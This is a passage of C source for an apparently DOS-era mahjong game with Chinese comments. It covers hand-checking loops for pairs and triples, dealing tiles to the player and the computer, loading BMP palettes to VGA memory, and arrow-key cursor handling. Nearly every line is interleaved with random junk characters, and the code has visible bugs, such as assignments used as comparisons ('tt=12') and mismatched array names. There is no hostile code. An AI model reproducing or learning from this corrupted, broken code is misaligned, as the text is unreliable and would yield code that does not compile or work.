- }" v+ T! a/ G, ]{4 Y! S) A3 T- i; Q) J8 L) `; V
kl=kl+2;8 B5 b: Q9 v4 T( O6 g
if(kl==5). j: C2 B- X$ l; {1 J7 C* M- q
break;- Q: m% }' P2 l+ e" x1 K( q& t
}  j. j! B7 ^+ i6 T$ o8 W: J
test[ill++]=pt[kl];
, I( G1 u$ O% }  p3 _}/ K9 d; H" P( K7 X3 L. [: \
isthree(test);1 Q1 s8 f9 V, _" e6 ~
}! O: g" I$ {: ^" |- W0 n
}
. h/ _: r/ r% [else if(tt==6)! d3 N6 b" u5 a) H5 D
isthree(pt,tt); ( ]7 p" r3 w9 v. n
else if(tt==8)& c2 t4 c. a- m" T5 e$ R; k
for(i=0;i&lt;7;i++)
( n0 e+ ]0 r4 ^: s{) M& t1 l. ^$ i- ~0 w/ e
for(j=0;j&lt;2;j++)! c: ]/ a; T8 `: i. J5 R/ A
{test[j]=pt[i+j];
; C6 L$ v# w! k" `0 Q}8 X* k( ?" q: R. }" E
if(istwo(test))  @+ c) s- Y4 w+ \8 U3 O8 ?
{ ill=0;
1 P1 K7 x2 C* v  h  _0 P9 I+ n. d$ k$ ?for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/  K% W0 t! ^. ?- @, @) l. P
{if(kl==i)! ?2 v3 ]* p0 V' M- Q
{! W7 ^2 Y; ?  E8 D
kl=kl+2;
* x1 U: ?7 ~. X: lif(kl==8)
( c, `" G: t$ Y: n- X% abreak;: C$ B& a4 k; \' x: e/ j( D
}+ ]" h- J' q5 ]  o- u4 M; @
test[ill++]=pt[kl];
. q+ c+ ]* y$ \. C2 B7 a0 e  k}
2 f* n2 k/ f3 {, disthree(test,tt-2);
" q& a" Y; J  ]5 ?& u}/ o+ b+ G5 w' l. b3 d& Y
}
! I/ W2 Q4 j5 x0 G4 L7 q2 z2 Gelse if(tt==9)1 u. Z1 [3 d5 Q8 ]8 Y6 D' a
isthree(pt,tt);9 @* N" w" ]+ e! n4 W
else if(tt==11)
4 Z9 s/ Q  {& r% G+ m; t, efor(i=0;i&lt;10;i++)% X7 z/ N3 Y, w
{
% u! C! w- G: D7 nfor(j=0;j&lt;2;j++)
& }3 Y  W) H; [( u{test[j]=pt[i+j];
1 x0 a6 x5 ^; P}2 l! V6 O1 `: }, k
if(istwo(test))$ w  i  ]' v2 ^! r$ L- S& o
{ ill=0;: _9 y2 @( N5 H
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
! R3 l; w& P% E' W9 @( \1 L5 K{if(kl==i)
# b4 u0 s% Y2 J% w, E* D{0 B7 S# n$ Z" C  U& b) r
kl=kl+2;7 ~) j6 [1 Y  ]" m
if(kl==11)
9 z+ ], ?( Z" Ybreak;
1 b* p* X( i9 N: R; X}
( l; T- R7 H. D# P% G1 t! u4 U' e/ atest[ill++]=pt[kl];5 L1 f# Y2 O/ l- R, w; Y" w
}
& Z; s1 J1 f4 \. T  risthree(test,tt-2);
) }, t' _4 N- q% q$ D}, v& g, D  [' s
}
/ |: N7 B$ d8 m8 K# oelse if(tt=12)
* }. o+ R  ^; D1 {7 F- Sisthree(pt,tt);; G1 l; q" R! y* b
else if(tt=14)5 z' ?% _" E3 v' f4 I
for(i=0;i&lt;13;i++). X) d% m+ L9 a9 [) [& q
{& {1 N6 W' Y. Q8 W9 q, \6 X; f
for(j=0;j&lt;2;j++)/ t8 f$ T0 r5 k( G$ l
{test[j]=pt[i+j]; & s1 {: L4 i/ J1 R
}
( M$ X$ @( \1 N" j6 Nif(istwo(test))! w( Q0 j/ Q( Y0 s* X
{ ill=0;
) w4 o& z8 s* d. B1 _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/* m, A7 ]6 i( _- s
{if(kl==i)- k$ z1 A4 G+ L
{
. L1 q& S4 ]" X5 o, ?! Tkl=kl+2;
6 q2 S4 z. k$ Eif(kl==14)
2 h$ F& e' q0 ibreak;: I) G7 j/ ?% a/ D. q3 C
}
1 q. ^% g2 ], i! b5 X- A' Stest[ill++]=pt[kl];
+ q$ i! W9 @) v' Z1 u. v, u# ]4 a* L2 g}
9 R7 ?+ b) z1 J0 ]. n! E% {isthree(test,tt-2); 5 Y; S/ A7 G! z. B2 k$ a
}
3 }" K0 d8 ~  @% T}+ ]- _3 Y2 H) M. d. W
if(ii==2); |3 p. J* o. k6 o
istwo(pi);
0 U% Y+ b& x4 F- n2 Celse if(ii==3)8 j9 K3 _# ?9 s
isthree(pi,ii);
* ~& ~8 J; Z/ z& \0 S3 h# uelse if(ii==5)& @$ F4 @/ _  w5 M- p9 ?
/*pi[5]原始牌数组,假设已经升序排列*/
9 \1 T5 R& r- a/ I/*test[3]用来放置测试牌的数组*/
7 n' r) K' ?4 R9 }for(i=0;i&lt;4;i++)
) [2 V% I0 j/ t( P, T8 T$ L& ^{1 X1 C4 h0 M2 s
for(j=0;j&lt;2;j++)
1 [# w9 c/ T4 e' g! x{test[j]=pi[i+j];
* f$ w4 H' B1 I, V8 |}
! Z- l7 B; o/ x# |/ Oif(istwo(test))' e  v* t* Q- Q( k/ v- w/ n% g
{ ill=0;/ r7 f5 F4 G, U: l  K
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
' w; e) u4 U+ |& T2 P: Z7 l{if(kl==i)7 y9 W+ |2 T5 |- H$ p
{) N" c" Z0 O; X  A; r
kl=kl+2;0 g3 [3 l8 P' K
if(kl==5)& \7 q7 K6 k+ |) E- n- P0 R
break;) u" |0 y  n! p9 s5 j
}
4 y$ \  i- {; c8 s) rtest[ill++]=pw[kl];9 v/ V4 i9 A! T/ ], K8 P! h
}
. S* }+ ?2 {: y- pisthree(test);
8 \# L$ {( p6 d, N$ a9 o! F5 c$ p}1 _; @. b& C* f3 T/ _" K7 M. E
}
6 J4 t: {1 U& o% D' Q3 kelse if(ii==6)
* Y+ _6 B# t* {' k; Histhree(pi,ii); 5 F6 X( T+ V9 M! o# T% B9 [
else if(ii==8)
' ?: V' w6 L  A- afor(i=0;i&lt;7;i++)
5 j5 |7 \4 V7 {3 ~. u{. @: T  j% E/ I/ w: |1 a3 A7 C
for(j=0;j&lt;2;j++)
1 K* K1 o5 V; |{test[j]=pi[i+j];
( q$ P) j7 a# ^. \9 o( e}
6 M* c" G7 J7 @* T& N4 W3 \$ Nif(istwo(test))* ?5 T9 `8 [; T/ ?1 J- d% |4 |7 a: ]/ y
{ ill=0;# [9 ]6 J0 V# a! e9 |* d0 Y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 u- @: d0 l- J0 Y( w3 `9 t
{if(kl==i)
! s5 ~% s/ e6 F8 o6 D{
, C: a' b+ Q  |, N% B8 Q5 Skl=kl+2;
+ o& m) j2 c( A, s4 l' Eif(kl==8)
; r! S1 E+ s: j& j4 u9 jbreak;  n9 u" k- O- s( A; x0 o
}8 {# d& ~% U6 S" o; |
test[ill++]=pi[kl];" ?0 |) g  ]/ X* N+ ]5 M
}
9 N! a4 g4 {7 R/ m' S% p& risthree(test,ii-2);
3 o; r" L+ I' e0 p+ O7 L( d}
9 b9 m3 i+ T2 m- _5 B6 X: O3 I5 V; X} # t3 _, K5 J% e( Y+ e
else if(ii==9)5 @/ h7 }4 c* R; y' L
isthree(pi,ii);
. Q8 ]* b+ S# O/ Kelse if(ii==11)4 ]0 d4 ?( }/ }6 N5 L. X
for(i=0;i&lt;10;i++)
' H- c0 [! b9 Q/ [/ X' L{. s0 A& Y$ ~( ]. }# k  z
for(j=0;j&lt;2;j++)
+ J" _# O% W# A6 B: M9 y! W{test[j]=pi[i+j];
+ n) s- ]1 w& A- k5 ^}. z$ W! x( @% m- X/ A+ U, A9 f
if(istwo(test))+ s) S9 k- r' C8 ~
{ ill=0;- Y- R# s1 D' o# h
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 \7 k  W- {6 A+ m
{if(kl==i)
1 A( ?, f: Y% O! V  @- q9 h+ t{7 \; F5 x  k  |, I
kl=kl+2;
! q. ^8 U7 F, U0 C4 Nif(kl==11)
, M8 R: ]9 O! b0 P, J* `8 [3 O" kbreak;
: X7 W- N  A. z3 b. |, \! P}9 V4 @2 W0 D. v  \
test[ill++]=pi[kl];9 x* W) J2 Z- ^6 `
}1 r8 k1 w3 Y& n4 J4 D
isthree(test,ii-2); # q3 X/ g. ~& ?9 Z
}
. s- S8 K6 i$ p6 |8 T" x- C}
+ A, x, l8 E. {' `) Belse if(ii=12)
+ q# u$ U, L# c5 Aisthree(pi,ii);
& ?: j1 E6 s6 t( p% W" K! i9 Jelse if(ii=14)
9 S& Z. y0 ~% f( i# w7 ~" dfor(i=0;i&lt;13;i++)8 t. B" J8 h9 M" A9 T
{) q3 h% L2 k  W8 S
for(j=0;j&lt;2;j++)4 D8 h$ @; J% ?& J2 [6 N
{test[j]=pi[i+j];
" J' y/ o7 I" Q8 [6 J}
5 Q3 L7 F: `8 ]2 Yif(istwo(test))
0 K' Z* J1 D7 A8 q5 `% O+ _{ ill=0;6 F- a/ h( \3 c2 ?3 P
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* R) g  W! ?" b{if(kl==i)
; N- w' t% |! ~8 l9 p. L, z{9 S% ?$ J4 [3 X) J5 g& Q  X
kl=kl+2;1 m& u3 W7 n7 z
if(kl==14)
; V, b4 R2 b, {1 _4 j3 qbreak;
% C) E; ^+ }- e}# q3 w. J% X( I; ]5 \( v) F2 T
test[ill++]=pi[kl];
# R' }- t! I/ S  g}
4 A7 _, B/ ]; Sisthree(test,ii-2); 6 v# e. `5 n) t7 U+ G. E
}& O) S  [, F/ w8 y2 y5 m7 E
}
$ ~) v  N! M4 \6 n& z1 b! Bif(ff==2)% {4 ^& H& t! U/ s) F3 }2 g
istwo(pf);
( Z) E: F0 V4 H: n" L. E; C# Relse if(ff==3)7 x0 E8 i9 W- |* l# }* K- M
isthree(pf,ff);7 z- A! d6 f4 |0 D7 b* e6 y
else if(ff==5)
4 I5 ^3 h1 r; h, k/*pf[5]原始牌数组,假设已经升序排列*/+ w9 k; [2 s1 ^
/*test[3]用来放置测试牌的数组*/
0 z$ q5 l( |! L( c: `* H! ^for(i=0;i&lt;4;i++)
4 [+ [( Z& i5 y- U9 k/ ]0 e{( O9 f% S% Q, C
for(j=0;j&lt;2;j++)' j0 q4 d- L9 m; N; h
{test[j]=pf[i+j];
1 G  x3 E( p* r3 U8 j! \; S% U}
; c; T5 \% x4 [3 E. k: [! f7 Eif(istwo(test))
( C8 e7 A& o- O# O  Q) [& d% L/ k{ ill=0;
  Q* n/ S1 [7 L! j1 J* }8 ~for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/  c7 ~( V4 F1 e
{if(kl==i)
1 I1 j9 t! Q1 ^- h9 |0 q{
0 c  O! s( }0 \8 O' `1 _0 n1 Y6 b, ~kl=kl+2;
7 G9 Y" `2 I9 o( L  Hif(kl==5)
: R+ ]0 Y8 `* u! zbreak;: A3 ~1 B  C& m  _! M
}
) E9 f2 V% E9 U' B4 e+ @6 e/ `( b0 stest[ill++]=pf[kl];
% D8 K8 ?, l' f}7 h8 V  s( w8 y, D6 g
isthree(test);& ?- W- n" [$ G
}! C% W5 Y! O$ W9 {' _* t
}
# M* K( y# V0 z5 \4 ]4 f: ~8 K1 Delse if(ff==6)
+ c$ v0 s1 V  Fisthree(pf,ff);
  q3 @8 [" z9 D; M6 c% Y: {1 Oelse if(ff==8)3 T. `) X% s8 h+ z- ?. E- ]& A
for(i=0;i&lt;7;i++)
$ t9 H; w9 D3 l# V{+ A' C  y' S$ v) f& s8 g
for(j=0;j&lt;2;j++)& E+ ]6 w& t  K* u+ E9 y
{test[j]=pf[i+j]; ' h3 }: w" @9 c# d- b9 I
}* g+ @4 Y( N0 r: V# U# L9 I" c9 `0 x
if(istwo(test))
) m8 i$ A3 h2 r5 U. l# N{ ill=0;
, q8 W+ L5 s' f  `4 N" ^- Dfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
3 F4 D  J  `# c( w{if(kl==i)
+ a5 z* L& i  i{
# I& P, g% M4 S' Ckl=kl+2;! V* U6 S( b% c- ^: o/ O$ E$ Z
if(kl==8)8 k8 S  `0 k3 s% \+ ~' m$ O1 r
break;9 ]! @+ Y- c" K4 Z# O
}
  Z- m* t9 o" N3 k6 U  Atest[ill++]=pf[kl];
* g2 V+ }8 Q! y/ ~1 l2 r}- z& P) F, O* Q2 x4 f! V
isthree(test,ff-2);
8 q% Y- c' x/ ~}$ U  c8 {& V7 A
}
+ Z: p1 Z/ q$ |2 x! R+ b6 Nelse if(ff==9)
& `  C, [6 q+ h4 s2 \isthree(pw,ww);  B9 M+ {! h; ^0 X. I( M+ E  w
else if(ff==11), T0 L: o5 i/ k# o( A
for(i=0;i&lt;10;i++)
; Y; I& P; A1 e  O$ h{
! R' ^' B4 u: o# Rfor(j=0;j&lt;2;j++), N' ~+ v3 b% ?% `6 x1 c- V! I4 e7 a
{test[j]=pf[i+j];
0 f9 [# Z& o" I9 c; Y3 B}# ~9 G8 b5 S% H3 ~* \; D/ g
if(istwo(test))2 @* P* O2 s4 J( u/ M
{ ill=0;
% g3 t4 K/ V' x# u6 a3 W, r0 Pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& @6 C2 `0 x" X- m* Z
{if(kl==i)
+ Z/ F5 O" d$ r8 T7 S{# ^# B8 ?' }& x. L; E1 v/ Y! z
kl=kl+2;
# O6 v5 x9 Y$ n3 Q/ Nif(kl==11)1 q, A% I! \$ F2 \5 ^. B) n, w2 M
break;
  T/ U: K6 E( }: e+ `" h}6 i7 g$ G$ @# ?) D: V
test[ill++]=pf[kl];
# Y- G  D/ o; h1 t}- w6 W5 i5 ~* _' n. o3 B6 I4 R
isthree(test,ff-2);
7 ~6 d# b& e! E7 j8 v! P0 |; |}
. l- J6 H: {/ j! B: m} 0 {: [$ {# |2 U, ?  M  m
else if(ff=12)
" s, B; |! x( P6 Y' z% @( G) F- risthree(pf,ff);" T! m& E8 L) q7 c
else if(ff=14)
9 m: _, V  O) Dfor(i=0;i&lt;13;i++)
, S1 ?& ]* x. L: D4 a( o" O{3 A: ^2 C' Z7 V) s. a
for(j=0;j&lt;2;j++)
$ L! N# n4 r+ k{test[j]=pf[i+j]; ) R$ \) b  y; h
}
& B& _- q1 S) g4 T6 Sif(istwo(test)): p: x8 ]9 M8 X3 j+ k8 I- o! z
{ ill=0;: z$ d$ e, e: M
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 d! P' |7 u. q* ~
{if(kl==i)
: m0 j3 C  W: `/ e# a{! i$ R3 z4 M% i
kl=kl+2;
# {  m' W0 ^7 M8 B( @5 fif(kl==14)9 K- A0 \* h3 `: Q2 t
break;
/ P& c4 |% G4 @+ G) |}
6 \) w( L! A( y1 I+ F: F4 W1 t% ptest[ill++]=pf[kl];4 `2 U3 F. a5 _, W" E
}
" O8 M9 y# X  F/ \/ c3 o3 q9 visthree(test,ff-2);
  R! [6 s0 |% F8 l' s  s: N}
+ o% P( t6 c7 p8 U- ?}
& z* P" `1 j: V+ x2 K- U- {! h}
7 d& c( X2 E8 F* q+ Xvoid main(void)* d, z# H5 E4 {  j
{. }, K; F6 p8 l) o, S) U. u
FILE *bmp;
( \3 E; L& o5 X! d( m& j1 U/ Wstatic char *name[2]={"ff.bmp","logo.bmp"};
0 ~/ c! N. W2 schar *p;
4 U" A5 n9 ]+ I1 u" l: ?int *lingshi;
* N4 Y$ H3 Z- z- kint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
# W- I3 j$ D; o- ^' j6 A" M: pint every=0,w=0,x1,x2,y1,y2,every1=0;
, t9 w0 {  V- y- L. M  Yint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
8 E; l) M( X' n" J7 B5 jBYTE palette[256][3];
+ i$ w$ ~; y  C" W2 h8 [4 G! pSETVGA;
! W) u' R: b, ?  ~# fgetch();
4 x1 @: @9 q; e. y& J2 [( Swhile(t--)3 y, r( @* q& B: }# {% I
{
/ R  |5 h5 o5 `3 L& Ibmp=fopen(name[t],"rb");* D6 j( e; v) e' O7 y. t) z1 {
fseek(bmp,54,SEEK_SET);
" g. [  t. Q: K& D6 `( `% x$ k+ Ffor(i=0;i&lt;256;i++)9 z% }) E" ]6 p. t, {
{4 I: {! ?5 E5 l! k7 H; A% ~
palette[2]=fgetc(bmp)&gt;&gt;2;
+ p; f0 _' v9 ^4 K1 K/ t3 Ppalette[1]=fgetc(bmp)&gt;&gt;2;
- D+ [" p& F5 A& b5 A$ N) Opalette[0]=fgetc(bmp)&gt;&gt;2;
2 r. r8 S* W1 J7 v3 g, yfgetc(bmp);
# N9 C5 X0 Q: K& \+ E+ O5 \2 NSet_Palette(i,palette[0],palette[1],palette[2]);
6 B* d) Z: y2 K, }2 r}% c% [) K, x+ M
for (y=0;y&lt;200;y++)& K9 ^+ a# a+ m& Q1 G1 b
for(x=0;x&lt;320;x++)0 ?; P2 L/ k- Q4 F
pokeb(0xa000,y*320+x,fgetc(bmp));2 R# O$ F% j" W/ V- _7 t2 }
fclose(bmp);" N$ u( Z# j& \+ |  M1 z
getch();1 g9 K! b8 r* j
}& q4 B0 q9 {% l. O( w. i
getch();
+ b# S3 R% k, R# b: M8 T1 k8 ~( [fillRectangle(0,0,320,200,0);
2 t1 b" U; T: @getch();( P& n/ c$ Y5 n3 u6 \
randomize();3 U, E- Q6 H: h' h4 A4 I
me.m=onetothirteen;
. g# B' b- j. O6 Z+ U5 fwhile(me.m&gt;0) /*先循环,给自己拿牌*/- a0 A3 y) }. k! B# ~, I9 W0 r  }$ k
{. q1 z7 ~# O* m8 W! }! k

1 A% p! T( ]' o4 }9 Ztemp=random(136);
: g! i8 J( T# W4 t$ u5 Lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
/ H3 O5 E7 F. N{
7 W% z) e# Z6 F% C5 H  b8 _$ x: cme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/7 J, F! W( s2 a  j2 x/ ~
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
6 i: O- i, \. P3 }me.pp[n].number=temp; /*第几张,用来排序*/
$ m& C' I: g3 [7 I; ym[temp].data2=1; /*判断牌是谁的*/
1 P' `* J: r6 s9 o  ^& okk=1;; Q* K& ~& g9 T$ E/ K9 P, M. P
}
* @) E! b5 y" z( M4 l7 J7 C+ Pif(kk==0) /*判断如果又选择了,就从新再选*/2 W# W7 X) M; Z9 H' n1 I/ g! D
{ ) U, x) b7 S- L" e! Z6 S
me.m++;
$ h' r: _; D6 X* ~2 ]n--;
8 Y: c1 L$ T( @9 R# I}
* |% F- \( A& hme.m--;
4 C- i  K/ c! |! A7 T+ pn++;, L4 I' F! k" ~
kk=0;
. D2 y0 c+ f! q6 ~, y( V# q* [}
+ S3 _7 f* [* h0 k$ S) l- Lme.m=12;
+ o$ u$ I+ T2 ]% l- x5 r% m! }3 a8 jmelipai(); /*理牌*/6 L8 h- R2 H7 ^" U; g% w% J4 n
. y3 y! T2 R( P6 J- d7 r
n=13;% y6 f, l: p1 {
while(l&lt;n)
9 K, t* V" m9 ^  _! R" \{4 M1 R# _5 i3 z5 \& S0 Y- Y
z=z+20;$ x: H; d6 @5 M
showbmp(l);
( K$ A" S9 a7 r' u; f: W* ]5 fl++;
6 w0 g& r! w9 X5 V6 u  v; O: R3 X3 x7 e# B2 c7 J, v, u+ `
}
- M9 @( {& ]- d+ e8 d, A- Z+ Arandomize();
3 _. [3 |: d! o$ x4 w/ lcomputer.m=oneorthirteen;% {% N6 q' a6 z: w* G4 W6 [: E' K
n=0;; q( T% _/ ?$ a$ @- m; J" _
while(computer.m&gt;0) /*循环,给对方拿牌*/: a5 g, T4 ^4 G4 `
{8 j% |9 ~) e$ U& O* J
temp=random(136);
2 Y& G# V1 z. Z2 ?- ]# A: }3 Aif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
! I5 `4 i* l- k. A9 S& ^{
$ ^( A9 E4 J2 L) z6 Q, v8 ?# \computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
" V7 e5 d  B0 K0 N3 x, S# T! Mcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/3 i" n. P! x( j4 L/ K( a
computer.pp[n].number=temp; /*第几张,用来排序*/2 K, [+ n! {2 n5 \
m[temp].data2=2; /*判断牌是谁的,2为电脑*/; F$ v, B' [" s+ U- v4 f
kk=1;
$ J0 J9 i4 d# k% S9 y}! s, K9 h2 r# O8 S
if(kk==0) /*判断如果又选择了,就从新再选*/2 b9 l2 f& N! y$ p
{ % B7 x$ B6 K2 J1 U4 r( V7 S
computer.m++;
/ D* \0 I$ b+ N$ qn--;: S9 j% i. b) m0 v# U) T/ Q) Z  I
}* p6 a+ P% {+ D, O0 }( S+ A- t
computer.m--;
- }8 x) q( ?  @+ w: Vn++;
" g( t  G0 f: n, B' gkk=0;" Y9 _2 `8 R3 Q& I/ E0 g5 d
}2 C8 z: t1 J1 h& F5 X9 c7 W
computer.m=12;
, h! u8 n  ~1 `4 R) o0 pcomlipai(); /*电脑理牌*/- }# |. ^+ L  b1 ~5 J5 c6 M
n=13;
# b' \7 m& a( ewhile(ll&lt;n)
, R  U8 o# ]+ ?% b; n) R4 a$ l' z{4 T! l7 H, F( ?5 |' T. |
zy=zy+20;
8 y7 q- M% X* a$ kshowybmp(ll);
, o" X3 ]; L) h" wll++;3 B- a7 {  \- q
}
, H, L0 o3 E0 H) w/ j" o' b, _
- L( ^! m0 J, I7 az=54400;% b$ v7 B: a  V- g: E
while(key!=ESC)5 m# J$ w4 V5 T5 m$ Z
{ ' Q% o8 \; _3 r- ]
' C/ d. v* g" `, O8 U" c$ o
keyy=bioskey(0);( v. u% ?/ c2 z- N  @& D; t
if(keyy==LEFT)
! U5 @9 k* Q* \/ d$ v$ V% R# A{ w=1;
1 Q0 c2 K! v3 ?7 sif(every==0)
5 d+ B' H) H9 O: Z$ i  a{
; A" s+ a/ z8 |2 q6 [/ l* M" xevery=1;6 [6 c6 ^9 M6 B% f% E  W  A8 q
z=54440-5*320;, |2 v3 F4 Q6 X; n

/ `1 |; t& o; a}
; }. R  Y+ e3 S, v1 x' @" lzz=zz+5*320;
6 S/ e( B+ A7 b. K* V/ [showbmp(every);
3 l% M: c; I9 f/ Cif(every==0)6 m2 l, U1 e  m9 D
{; A4 Z9 n8 [2 l# c# P7 c& t
x1=20;
. V0 `! n6 x! J) L1 L' [y1=165;
4 Y! A7 O2 u) W" jfillRectangle(x1,y1,x1+20,y1+4,0);% `# r4 }. A/ C6 j" c
}
! ?  }( |. a: C  f7 l2 r# Pif(every==1)
+ |! N- g+ @% t5 a9 l# q' o8 H5 N{
0 L4 ?8 a8 n0 o! X- F% b! {2 q" kx1=40;
& V; G0 X1 Z/ V8 @0 wy1=165;* O! L$ B! W+ U3 ~7 ?
fillRectangle(x1,y1,x1+20,y1+4,0);/ b, f1 D* i! t  L
}
. |, m; b0 ^5 }$ w/ h& F5 eif(every==2)
7 E( `  D$ e+ H! {{
* y" i3 x8 ~, E# Ax1=60;
3 c0 |4 _) ]: n7 ry1=165;
% ]* Q% c& D9 ]% Z$ N9 M6 w0 u0 GfillRectangle(x1,y1,x1+20,y1+4,0);" m8 q& u% K5 O, {8 m/ A: [
}
0 m  ^* z7 O6 K6 f9 Xif(every==3)7 H4 d3 w8 }8 ?
{
( T& F  [# q% e0 T% h5 mx1=80;
4 ^* k% [3 u+ @y1=165;( q7 D0 U1 \) z- V7 S
fillRectangle(x1,y1,x1+20,y1+4,0);! M. {4 a7 [  s# L, R$ y; P! N
}$ L2 y/ @2 K$ L6 U5 q6 b& o& k
if(every==4)1 f6 v  V0 U& r
{
9 J1 E' D, T' Y5 q4 U8 ^! `x1=100;
$ @: d$ B: l0 ]+ S* Ny1=165;, w6 F% [, Z( h: s
fillRectangle(x1,y1,x1+20,y1+4,0);
6 l# l) D1 l9 V5 y, `}- N- \9 t6 b. d# ]6 a+ h2 Y
if(every==5)
, x! q0 V* P* q- O+ K5 O{
5 Z! N! X- W: S# P# g3 B! Sx1=120;
/ s6 v3 }! f7 Q9 S- {3 n/ dy1=165;" \. Y2 I9 B% p; b* g
fillRectangle(x1,y1,x1+20,y1+4,0);3 x0 o8 b9 `: L/ H! o% Q
}" c- f, l6 z& n% S9 X% |1 j
if(every==6); ?+ {( `# J) o4 Q& k2 R" ^# V
{
* `+ B! t" b$ w. c( b  f$ d3 G0 mx1=140;5 O5 D" Q1 _# y% t# E5 Q' A
y1=165;
% @2 S# `, Z2 NfillRectangle(x1,y1,x1+20,y1+4,0);
2 W7 y5 i* t4 P/ ?- m) A4 a. u# m}, m- Y# w$ o% J3 V
if(every==7)
+ b, O3 w& S; ~* T" z0 V$ H{4 x* |' X0 F8 G2 [6 t. Q
x1=160;
" k9 j2 x7 R3 Y  ty1=165;7 p; m. x: V- s2 [- G1 h; _4 a
fillRectangle(x1,y1,x1+20,y1+4,0);& ?' I7 [7 t* l4 o
}; \* T) j: G+ q$ j3 N
if(every==8)
3 x* d' l. o- ^% H5 C{1 h1 M- f/ d) U3 {
x1=180;+ n0 n) ?* P0 N/ {6 F! `( D
y1=165;7 ]6 Q/ p  h+ k4 d3 A. j4 A
fillRectangle(x1,y1,x1+20,y1+4,0);2 [7 G. ]4 _3 z) D
}# Z# g3 C% T4 I; d1 N  g8 I
if(every==9)
0 K5 E, {6 `9 y{
  K- A( F6 D5 m7 k6 Ix1=200;
* n  n$ {' G  ^8 r  Dy1=165;
' ^9 O2 O, i3 L  @$ [( FfillRectangle(x1,y1,x1+20,y1+4,0);7 a( _) D  I( x% a. ^
}4 @/ \) ?$ b! G6 x- P
if(every==10)
$ X6 r5 F( `; K7 |# E1 `% ~) D* t- v{: `" o' h* j& b% n. j
x1=220;' h" R1 l, M. t/ C1 E9 R+ c
y1=165;! l  h1 K- [3 c. j% H( K7 z
fillRectangle(x1,y1,x1+20,y1+4,0);* M6 R3 D/ _2 p4 c# w
}
1 Z4 R- J3 e% r5 P/ k% M& ]2 B) {, ]if(every==11)
6 E2 x& @0 E3 g8 Z- b4 i& m) H! C{
! q+ }  s) L- N) a- }3 dx1=240;
" u" z& M8 s( a3 n0 Q; H" Iy1=165;# S: @. K. J- W3 t& Q  o
fillRectangle(x1,y1,x1+20,y1+4,0);( Z- Q2 @+ a, P4 u8 ~
}
! H" Q' m. M. j, y6 Hif(every==12)
% U. Z1 Y% g! _0 @3 [6 \9 L. D{7 L# s5 W) l! B1 A: M1 @1 b) ?9 e
x1=260;; o. j& X6 e( B! Y4 t
y1=165;
+ c. a0 I. g* n/ WfillRectangle(x1,y1,x1+20,y1+4,0);# \( ^/ e2 Z3 c/ |; }0 N: g& f
}
0 `! ~7 ^. h3 {; q0 t  z/ szz=0;
3 [) {& W6 V, R/ }* g/ H% }% fevery--;) I! _2 t. ]+ a
z=z-20;
2 m  x! h  H1 l  ]}& X8 ^# q' B5 H. d
if(keyy==RIGHT)- x6 ^& I5 j- G; x  ~
{ if(w==0)3 `& m* O9 h* o' I: \: \
{6 I% B( _+ L0 S2 e! e( o6 |( i0 e
z=54440-5*320;
' w  r) k/ ?9 A: s" r8 _z=z-20;& V7 f, G7 U7 t! F. G6 A' I4 @
w=1;
* |9 F& I, G$ `8 h}
6 ~! |1 S% R. a6 pif(every==12)
5 q8 _# t. j: _3 o  Z- Z6 g{1 q8 B, T8 m. Z2 t* r
every=11;
6 d) B; C- D0 s. Mz=54640-5*320;
8 e' m) a7 d, P4 t}
. n& \! g# T) r% }/ l: hzz=zz+5*320;
- U/ C' U1 T! U& vshowbmp(every);
: j8 j1 g: `2 T; v! Jif(every==0)4 |+ {& T6 h. W, k: E; o4 H3 c
{
$ I: [" C8 O$ ?; L6 mx1=20;
! D$ u8 }; v5 Q2 {6 N0 V. R% Y' ~& ]+ fy1=165;
4 ?7 X# Q/ H) V- t# \; T5 f* LfillRectangle(x1,y1,x1+20,y1+4,0);4 A' _  I* u7 T, O1 I) x) A/ {. Q
}
& c- G) \1 {9 M7 zif(every==1)/ U# z0 S8 C& w7 X" f' K8 k* N
{4 s' e( r) [9 @9 A  K3 U
x1=40;
% \6 K. Q) M- \7 Fy1=165;, n7 ?5 m& }3 f5 G
fillRectangle(x1,y1,x1+20,y1+4,0);
/ H3 w4 K( v+ j  m, C  X}
* _( Q$ M( W' N8 E* D4 m6 |if(every==2)
# p6 R- D9 F4 U7 P. ]{) x, q5 O" Y( w3 x4 l
x1=60;7 w! q) i" R/ C. A8 c0 o( B
y1=165;
5 ]3 B: |4 {% z) Y+ DfillRectangle(x1,y1,x1+20,y1+4,0);
6 g) t: E6 d* V( n}
- k6 |( y) j% s! ]$ b; s- gif(every==3)
3 S6 c9 \  X1 B$ n+ b6 L6 i{' x( ~" j4 B3 K. I. E% G  x, d- U
x1=80;
% _1 _0 o0 ~2 Z! A" Ly1=165;
" u, p9 z4 h  A# w: \( rfillRectangle(x1,y1,x1+20,y1+4,0);
: }0 A$ `* ^, J, z' v/ Y( }}! O6 a) y& q( v& P; e. `* i
if(every==4)
5 h3 X7 c7 ~& t' ~4 e9 W9 h{
! m6 T  |0 `, @% s( a8 \x1=100;0 N) n5 j2 K4 M+ [, k
y1=165;
7 `' x" j' D7 S* `, J9 wfillRectangle(x1,y1,x1+20,y1+4,0);" [8 ?+ r+ n+ ~' y& o
}: _  z8 w9 J& d/ l& c" N
